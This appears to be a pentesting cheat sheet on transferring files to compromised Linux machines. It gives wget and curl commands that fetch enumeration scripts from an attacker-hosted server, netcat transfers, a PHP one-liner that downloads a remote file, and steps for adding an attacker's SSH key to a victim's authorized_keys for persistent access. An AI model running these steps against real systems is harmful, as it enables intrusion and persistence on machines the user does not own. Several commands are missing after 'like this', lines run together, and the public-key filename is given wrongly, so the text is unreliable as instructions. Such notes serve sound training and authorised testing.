Transferring Files - Linux
Web servers
python3 -m http.server 8000 Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh Download a file on the remote server from our local machine
Netcat
netcat is a good way to transfer files if you do not have an interactive shell.
On attacking machine:
nc -lvp 4444 < fileOn target machine:
nc 192.168.1.102 4444 > fileI have sometimes received this error:
This is nc from the netcat-openbsd package. An alternative nc is availableI have just run this command instead:
nc -l 1234 > file.shWith php
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.phpFtp
If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted.
Tftp
To use Tftp to transfer the file, run it interactively like this:
If that does not work, try this:
SSH - SCP
If you are able to connect to a target through SSH, you can use this to transfer files.
So, in the /home/user directory you can find the hidden .ssh files by typing ls -la. Then you need to do two things.
Create a new keypair
You do that with:
then you enter a name for the key.
Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey Enter passphrase (empty for no passphrase): Enter same passphrase again:
This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.
Add your public key to authorized_keys.
Now you copy the content of nameOfMyKey_pub. On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this
Log in.
Now you should be all set to log in using your private key. Like this
SCP
Now we can copy files to a machine using scp
Last updated